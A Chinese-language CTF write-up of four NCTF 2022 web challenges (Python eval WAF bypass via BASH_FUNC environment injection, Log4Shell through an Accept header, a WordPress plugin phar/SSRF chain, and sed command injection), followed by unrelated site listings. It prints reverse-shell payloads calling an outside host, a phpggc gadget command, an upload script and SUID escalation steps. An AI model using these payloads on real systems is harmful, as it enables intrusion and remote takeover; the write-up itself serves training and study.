[NCTF 2022] web题解

[NCTF 2022]calc

考点:python环境变量注入

打开题目,F12有hint

在这里插入图片描述

访问一下得到源码

@app.route("/calc",methods=['GET'])
def calc():ip = request.remote_addrnum = request.values.get("num")log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip)if waf(num):try:data = eval(num)os.system(log)except:passreturn str(data)else:return "waf!!"def waf(s):blacklist = ['import', '(', ')', '#', '@', '^', '$', ',', '>', '?', '`', ' ', '_', '|', ';', '"', '{', '}', '&','getattr', 'os', 'system', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess','file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self','item', 'getitem', 'getattribute', 'func_globals', '__init__', 'join', '__dict__']flag = Truefor no in blacklist:if no.lower() in s.lower():flag = Falseprint(no)breakreturn flag

简单分析下,定义calc函数,接收参数num进行eval计算,存在system函数命令执行;waf过滤了很多

我们看向python中system函数,发现最后会调用/bin/sh -c去执行的命令

在这里插入图片描述

那么是否能通过环境变量注入实现RCE呢,我们完全可以设置环境变量来造成漏洞。思路就是利用eval函数实现变量覆盖使得添加环境变量,然后system函数调用后实现命令执行

我们参考p神的文章构造payload

p神给出存在利用点的bash代码

for (string_index = 0; env && (string = env[string_index++]); ) {name = string;// ...if (privmode == 0 && read_but_dont_execute == 0 && STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&STREQN ("() {", string, 4)){size_t namelen;char *tname;        /* desired imported function name */namelen = char_index - BASHFUNC_PREFLEN - BASHFUNC_SUFFLEN;tname = name + BASHFUNC_PREFLEN;    /* start of func name */tname[namelen] = '\0';      /* now tname == func name */string_length = strlen (string);temp_string = (char *)xmalloc (namelen + string_length + 2);memcpy (temp_string, tname, namelen);temp_string[namelen] = ' ';memcpy (temp_string + namelen + 1, string, string_length + 1);/* Don't import function names that are invalid identifiers from theenvironment in posix mode, though we still allow them to be defined asshell variables. */if (absolute_program (tname) == 0 && (posixly_correct == 0 || legal_identifier (tname)))parse_and_execute (temp_string, tname, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);elsefree (temp_string);     /* parse_and_execute does this *///...}
}

只需要满足下面情况,temp_string将被传入parse_and_execute执行

  • privmode == 0,即不能传入-p参数
  • read_but_dont_execute == 0,即不能传入-n参数
  • STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN),环境变量名前10个字符等于BASH_FUNC_
  • STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN),环境变量名后两个字符等于%%
  • STREQN ("() {", string, 4),环境变量的值前4个字符等于() {

前两个条件肯定是满足的,后三个条件是用户可控的,所以这个if语句是肯定可以进入的。进入if语句后,去除前缀BASH_FUNC_和后缀%%的部分将是一个变量名,而由() {开头的字符串将会被执行。

构造如下

env $'BASH_FUNC_myfunc%%'='() { id; }' bash -c 'myfunc'

在这里插入图片描述

那么我们就可以通过env $'BASH_FUNC_myfunc%%'='() { id; }'来添加到环境变量中从而调用后命令执行

在这里插入图片描述

题目是python环境,可以利用os.environ()语法来实现

os.environ['BASH_FUNC_echo%%']='() { id; }'

由于环境变量中是以字典的形式存在的,我们需要用到for来进行变量覆盖

测试如下

a=1
print(a)
for a in [2]:pass
print(a)

回显为2成功覆盖,接下来就是如何绕过空格 参考文章

使用 Python 的特色写法—— list 生成器和中括号

>>> a = 0
>>> [[str][0]for[a]in[[1]]]
[<type 'str'>]
>>> a
1

不过本地试了下不行,但是这种遍历赋值的方式对于字典的处理上不太一样,可以直接覆盖指定key的值,所以在对于我们的目标,覆盖os.environ是完全可行的

在这里插入图片描述

构造如下

[[str][0]for[os.environ['BASH_FUNC_echo%%']]in[['() { bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1; }']]]

由于含有空格等在黑名单,我们利用十六进制绕过

在这里插入图片描述

最后就是如何绕过os的检测,考点是python在处理utf-8中的非ascii字符的时候,会被转化成统一的标准格式。

那么就可以用来代替o实现绕过,最终payload如下

[[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x35\x69\x37\x38\x31\x39\x36\x33\x70\x32\x2e\x79\x69\x63\x70\x2e\x66\x75\x6e\x2f\x35\x38\x32\x36\x35\x20\x30\x3e\x26\x31\x3b\x20\x7d']]]

我们抓包,然后将payload编码一下即可,成功反弹shell

在这里插入图片描述

[NCTF 2022]logging

考点:log4j rce (CVE-2021-44228)

我们将题目给的jar文件反编译一下,找到pom.xml文件
在这里插入图片描述
可以知道是springboot框架,结合提示是log4j的远程RCE
目标就是找到注入点触发log4j的漏洞

参考wp

如何实现SpringBoot在默认配置下如何触发Log4j2 JNDI RCE(默认配置是指代码仅仅使用了Log4j2的依赖)
核心思路就是:构造⼀个畸形的HTTP数据包使得SpringBoot控制台报错

本题利用的是http请求的Accept头,接下来就是JNDI常规注入
使用工具rogue-jndi,由于之前做的log4j漏洞是htb能出网的机子(参考文章),所以本题需要修改下参数值
映射端口如下
在这里插入图片描述
运行工具

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA+JjE=}|{base64,-d}|{bash,-i}" --hostname "192.168.132.128"

在这里插入图片描述选择第三个,抓包在Accept头添加payload
然后修改一下ip地址(因为是内网穿透)

在这里插入图片描述成功反弹shell
在这里插入图片描述

[NCTF 2022]ez_wordpress

打开题目,没什么收获看看hint

Hint 1: 可以思考下如何对 WordPress 进行信息收集Hint 2: 注意版本 (6.4.1) 注意一些第三方的东西Hint 3: 结合信息收集和网上已有的东西就可以自己本地搭建一个类似的环境进行测试 涉及的代码审计部分其实很少Hint 4: https://wwnt.lanzout.com/iwUdK1ir03teHint 5: upload phar + file read (ssrf) => rceHint 6: 请不要使用 burp 的 Paste from file 功能 (存在 bug) 建议手动构造 upload.html 然后浏览器选择文件抓取上传包 或者写 python 脚本上传 或者使用 yakit 

hint1应该是能通过wpscan扫出来有用的线索,刚好hint4是给的扫描结果;然后hint2说注意版本以及第三方东西,应该就是插件

那么我们看一下扫描结果

在这里插入图片描述

果然是扫出来几个插件,重点看向all-in-one-video-gallery和drag-and-drop-multiple-file-upload-contact-form-7以及对应的版本

我们根据关键词搜出来all-in-one-video-gallery插件具有ssrf和文件读取漏洞并且知道对应cve漏洞编号

在这里插入图片描述

在网上找到篇文章如何构造ssrf漏洞 参考链接

/index.php/video路由下存在dl参数,如果不为数字则对其base64解码

public function download_video() {
if ( ! isset( $_GET['dl'] ) ) {return;
}	if ( is_numeric( $_GET['dl'] ) ) {$file = get_post_meta( (int) $_GET['dl'], 'mp4', true );
} else {$file = base64_decode( $_GET['dl'] );
}if ( empty( $file ) ) {die( esc_html__( 'Download file URL is empty.', 'all-in-one-video-gallery' ) );exit;
}

接下来文章就是讲解如何触发ssrf漏洞(本文不做叙述)

然后看向下面的利用未经身份验证的任意文件下载

利用代码

if ( $is_remote_file && $formatted_path == 'url' ) {         $data = @get_headers( $file, true );if ( ! empty( $data['Content-Length'] ) ) {$file_size = (int) $data[ 'Content-Length' ];          } else {               // If get_headers fails then try to fetch fileSize with curl$ch = @curl_init();if ( ! @curl_setopt( $ch, CURLOPT_URL, $file ) ) {@curl_close( $ch );@exit;}@curl_setopt( $ch, CURLOPT_NOBODY, true );@curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );@curl_setopt( $ch, CURLOPT_HEADER, true );@curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );@curl_setopt( $ch, CURLOPT_MAXREDIRS, 3 );@curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, 10 );@curl_exec( $ch );if ( ! @curl_errno( $ch ) ) {$http_status = (int) @curl_getinfo( $ch, CURLINFO_HTTP_CODE );if ( $http_status >= 200 && $http_status <= 300 ){$file_size = (int) @curl_getinfo( $ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD );}@curl_close( $ch );}}
}else{	$chunk = 1 * ( 1024 * 1024 );$nfile = @fopen( $file, 'rb' );while ( ! feof( $nfile ) ) {                 print( @fread( $nfile, $chunk ) );@ob_flush();@flush();
}
@fclose( $filen );

如果is_remote_file为真,formatted_path等于url,那么将使用 CURL 库发出请求,否则如果将使用fopen函数来读取文件。

我们看一下如何实现,&&运算符只要第一个为假表达式即为假,所以目的是让is_remote_file为假

看向下面这段代码

if ( strpos( $file, home_url() ) !== false ) {$is_remote_file = false;
}		        		if ( preg_match( '#http://#', $file ) || preg_match( '#https://#', $file ) ) {$formatted_path = 'url';
} else {$formatted_path = 'filepath';
}if ( $is_remote_file ) {$formatted_path = 'url';
}

第一个 if 语句检查 $file 变量中home_url()的出现,其中file变量是dl参数的值,home_url是 WordPress 安装的完整 URL。

如果dl参数具有 WordPress 路径的 URL,则is_remote_file的值将为false。

也就是说我们可以通过file等协议读取文件,并添加有效的url路径,例如

file://http://xxx.com/index.php

最后再base64编码一下即可

我们已经分析完怎么文件读取,结合hint5那么接下来就是如何上传phar文件
根据关键词和版本信息找到插件drag-and-drop-multiple-file-upload-contact-form-7具有XSS漏洞(本质是可以未授权上传图片)

参考文章

至于为什么思路是上传phar文件,我们结合前文分析的漏洞可以知道用协议去读取文件,当然包括phar协议

在这里插入图片描述

这篇文章直接就给了POC,大概意思就是在/wp-admin/admin-ajax.php路径进行文件上传,我们把该poc中的xss内容换成我们phar文件内容即可

那么我们先生成用来RCE的phar文件,直接用工具phpggc生成反弹shell文件

./phpggc WordPress/RCE2 system "bash -c 'bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'" -p phar -o ~/payload.phar

在题目访问/wp-admin/admin-ajax.php抓包

将poc复制上去,修改下文件名为4.jpg以及文件内容为phar(右键从文件粘贴)

在这里插入图片描述

测试后发现也能弹shell,不会出现出题人所说的二进制数据格式错误

当然也可以用python脚本上传文件(按照poc改的)

import requestsurl = 'http://124.71.184.68:8012/wp-admin/admin-ajax.php'headers = {'Accept': 'application/json, text/javascript, */*; q=0.01','Accept-Language': 'en-GB,en;q=0.5','Accept-Encoding': 'gzip, deflate','X-Requested-With': 'XMLHttpRequest','Connection': 'close',
}files = {'size_limit': (None, '10485760'),'action': (None, 'dnd_codedropz_upload'),'type': (None, 'click'),'upload-file': ('1.jpg', open('payload.phar', 'rb'), 'image/jpeg')
}response = requests.post(url, headers=headers, files=files)print(response.status_code)
print(response.text)

成功上传

在这里插入图片描述

然后就是文件读取,将payload编码一下

phar:///var/www/html/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/1.jpg/test.txt

注意phar url的结尾必须加上 /test.txt ,因为在构造phar文件的时候执行的是 $phar-addFromString("test.txt", "test"); ,这里的路径需要与代码中的test.txt对应,否则网站会⼀直卡住

访问/index.php/video并传递参数dl去phar读取文件

在这里插入图片描述

成功反弹shell

在这里插入图片描述

想cat得到flag权限不够
尝试suid提权,发现可用命令

在这里插入图片描述

查找一下date命令如何提权

在这里插入图片描述

得到flag

在这里插入图片描述

[NCTF 2022]WebshellGenerator

考点:sed命令

打开题目,大概意思就是可以生成webshell并下载下来
在这里插入图片描述
hint1给了附件,直接代码审计
index.php

<?php
function security_validate()
{foreach ($_POST as $key => $value) {if (preg_match('/\r|\n/', $value)) {die("$key 不能包含换行符!");}if (strlen($value) > 114) {die("$key 不能超过114个字符!");}}
}
security_validate();
if (@$_POST['method'] && @$_POST['key'] && @$_POST['filename']) {if ($_POST['language'] !== 'PHP') {die("PHP是最好的语言");}$method = $_POST['method'];$key = $_POST['key'];putenv("METHOD=$method") or die("你的method太复杂了!");putenv("KEY=$key") or die("你的key太复杂了!");$status_code = -1;$filename = shell_exec("sh generate.sh");if (!$filename) {die("生成失败了!");}$filename = trim($filename);header("Location: download.php?file=$filename&filename={$_POST['filename']}");exit();
}
?>

POST传参接收三个参数,如果参数language不为php,那么分别设置环境变量METHOD和KEY,执行generate.sh文件并赋值给filename,然后跳转到download.php进行文件下载

我们可以抓包看一下
在这里插入图片描述
当我们直接访问的话可以读取到该生成的文件
也就是说存在任意文件读取
在这里插入图片描述
根据hint提示我们要读取/readflag,我们分析一下如何读取
按照刚刚的测试,读取的文件路径是由$filename = shell_exec("sh generate.sh");决定,那么我们跟进一下
generate.sh

#!/bin/shset -eNEW_FILENAME=$(tr -dc a-z0-9 </dev/urandom | head -c 16)
cp template.php "/tmp/$NEW_FILENAME"
cd /tmpsed -i "s/KEY/$KEY/g" "$NEW_FILENAME"
sed -i "s/METHOD/$METHOD/g" "$NEW_FILENAME"realpath "$NEW_FILENAME"

可以发现是使用sed命令的-i参数,我们查找下
在这里插入图片描述可以编辑文件内容,而s/KEY/$KEY/g 是 sed 命令的替换操作部分
也就是说生成的webshell中会替换两个值
在这里插入图片描述
sed命令中可以用;来分隔指令,e参数用来命令执行
我们在参数key的地方注入,前后闭合即可

/g;e /readflag;s/

至于为什么是e而不是-e,解释如下

GNU sed中的sed -i s/hello/g;e /readflag命令中的e参数是用来执行一个外部命令的。在这个命令中,e参数后面跟着的是一个外部命令/readflag,它会被sed执行在sed命令中,-e参数用于指定一个或多个sed脚本命令,而-i参数用于直接修改文件内容。因此,我们想要在sed命令中执行一个外部命令,我们需要使用e参数而不是-e参数

在这里插入图片描述
然后再访问得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/823236.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【Unity美术】Unity工程师对3D模型需要达到的了解【一】

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;Uni…

后端程序员React初接触1

后端程序员React初接触 学习react基础与相关库的使用学习 包括react基础 路由 组件库等等 react是用于构建用户界面的JavaScript库 发送请求获取数据处理数据操作dom呈现页面&#xff08;react帮忙操作dom&#xff09; 数据渲染为视图 有facebook打造并开源 解决的问题 dom操…

集群部署篇--Redis 哨兵模式

文章目录 前言一、哨兵模式介绍&#xff1a;1.1 介绍&#xff1a;1.2 工作机制&#xff1a; 二、哨兵模式搭建&#xff1a;2. 1 redis 主从搭建&#xff1a;2.2 setinel 集群搭建&#xff1a;2.2.1 配置&#xff1a; sentinel.conf &#xff1a;2.2.2 运行容器&#xff1a;2.2.…

jQuery日历签到插件下载

jQuery日历签到插件下载-遇见你与你分享

【MySQL】数据库之存储过程(“SQL语句的脚本“)

目录 一、什么是存储过程&#xff1f; 二、存储过程的作用 三、如何创建、调用、查看、删除、修改存储过程 四、存储过程的参数&#xff08;输入参数&#xff0c;输出参数&#xff0c;输入输出参数&#xff09; 第一种&#xff1a;输入参数 第二种&#xff1a;输出参数 …

Leetcode算法系列| 10. 正则表达式匹配

目录 1.题目2.题解C# 解法一&#xff1a;分段匹配法C# 解法二&#xff1a;回溯法C# 解法三&#xff1a;动态规划 1.题目 给你一个字符串 s 和一个字符规律 p&#xff0c;请你来实现一个支持 ‘.’ 和 ‘*’ 的正则表达式匹配。 1.‘.’ 匹配任意单个字符 2.‘.’ 匹配任意单个字…

【DevOps 工具链】日志管理工具 - 22种 选型(读这一篇就够了)

文章目录 1、简述2、内容分类3、归纳对比表&#xff08;排序不分先后&#xff09;4、日志管理主要目的5、日志管理工具 22种 详细&#xff08;排序不分先后&#xff09;5.1、ManageEngine EventLog Analyzer5.1.1、简介5.1.2、效果图5.1.3、日志管理架构5.1.4、EventLog Analyz…

HarmonyOS 路由传参

本文 我们来说两个page界面间的数据传递 路由跳转 router.pushUrl 之前我们用了不少了 但是我们只用了它的第一个参数 url 其实他还有个params参数 我们第一个组件可以编写代码如下 import router from ohos.router Entry Component struct Index {build() {Row() {Column() …

交互式笔记Jupyter Notebook本地部署并实现公网远程访问内网服务器

最近&#xff0c;我发现了一个超级强大的人工智能学习网站。它以通俗易懂的方式呈现复杂的概念&#xff0c;而且内容风趣幽默。我觉得它对大家可能会有所帮助&#xff0c;所以我在此分享。点击这里跳转到网站。 文章目录 1.前言2.Jupyter Notebook的安装2.1 Jupyter Notebook下…

C编程指针篇----包括历年真题

一&#xff0c;&#xff08;20年&#xff09;用指针字符逆序 代码&#xff1a; int main() {char s[7] "monkey", * p1, * p2, c;p1 p2 s;while (*p2) p2;p2--;while (p2 > p1) {c *p1; *p1 *p2; *p2-- c; }printf("%s", s);return 0; } 运行结…

【华为机试】2023年真题B卷(python)-解密犯罪时间

一、题目 题目描述&#xff1a; 警察在侦破一个案件时&#xff0c;得到了线人给出的可能犯罪时间&#xff0c;形如 “HH:MM” 表示的时刻。 根据警察和线人的约定&#xff0c;为了隐蔽&#xff0c;该时间是修改过的&#xff0c;解密规则为&#xff1a; 利用当前出现过的数字&am…

jdk与cglib动态代理及原理

Spring的AOP在运行时多以jdk及cglib动态代理来实现。&#xff08;作者jdk是1.8版本&#xff09; 1 jdk 动态代理 Java中使用动态代理&#xff0c;只能对接口进行代理&#xff0c;不能对普通类进行代理。主要是由一个类及一个接口来实现&#xff1a; InvocationHandler&#…

【并发设计模式】聊聊等待唤醒机制的规范实现

在多线程编程中&#xff0c;其实就是分工、协作、互斥。在很多场景中&#xff0c;比如A执行的过程中需要同步等待另外一个线程处理的结果&#xff0c;这种方式下&#xff0c;就是一种等待唤醒的机制。本篇我们来讲述等待唤醒机制的三种实现&#xff0c;以及对应的应用场景。 G…

Python基础进阶3:函数和方法不是一回事

你好&#xff0c;我是kelly&#xff0c;今天分享的是Python的函数与方法的不同点。 对于Python的函数和方法是不一样的&#xff0c;这一点需要注意下。 一、结论 1、不存在隐式传参&#xff0c;所有参数都是显式传递的是函数。 2、存在隐式传参的是方法&#xff0c;一般指隐式…

神经元科技发布AI agent—“萨蔓莎”

今天神经元科技发布AI agent—“萨蔓莎“&#xff08;Samantha &#xff09;&#xff01; 取名“萨蔓莎”&#xff0c;是来自于一部讲述AI的电影《HER》。 电影讲述的是电影讲述男子西奥多汤布里&#xff08;Theodore Twombly&#xff0c;饰&#xff09;与拟人化萨曼莎&#…

日志记录、跟踪和指标

我的新书《Android App开发入门与实战》已于2020年8月由人民邮电出版社出版&#xff0c;欢迎购买。点击进入详情 日志记录、跟踪和指标是系统可观察性的三大支柱。 下图显示了它们的定义和典型架构。 记录 日志记录系统中的离散事件。例如&#xff0c;我们可以将传入请求或对…

挑战Python100题(8)

100+ Python challenging programming exercises 8 Question 71 Please write a program which accepts basic mathematic expression from console and print the evaluation result. 请编写一个从控制台接受基本数学表达式的程序,并打印评估结果。 Example: If the follo…

蜘蛛目标检测数据集VOC格式3900张

蜘蛛是一类广泛分布于地球各地的节肢动物&#xff0c;它们属于蛛形纲动物&#xff0c;是无脊椎动物的一个大类。蜘蛛的身体通常分为两个部分&#xff0c;头胸部和腹部&#xff0c;与其他节肢动物相比&#xff0c;蜘蛛的身体相对较小。 蜘蛛具有典型的八只腿&#xff0c;它们的…

结构体:枚举

#include<iostream> using namespace std; int main() {enum weekday { mon, tus, wed, thu, fri, sat,sun }; //声明枚举类型 enum weekday day; //定义枚举变量 int a, b, c, d, e, f, g, loop; //定义整型变量 char ch A; //定义字符变量 f thu; //按照题意&a…

搜索关键字高亮

文章目录 思路分析具体实现源码 不知道大家平常有没有自己空闲的时候写一些小demo的习惯呢&#xff1f;我个人觉得&#xff0c;在空闲的时候时不时写一个小功能&#xff0c;日积月累&#xff0c;当你以后遇到需要使用的时候&#xff0c;就可以直接拿来使用&#xff0c;当然了。…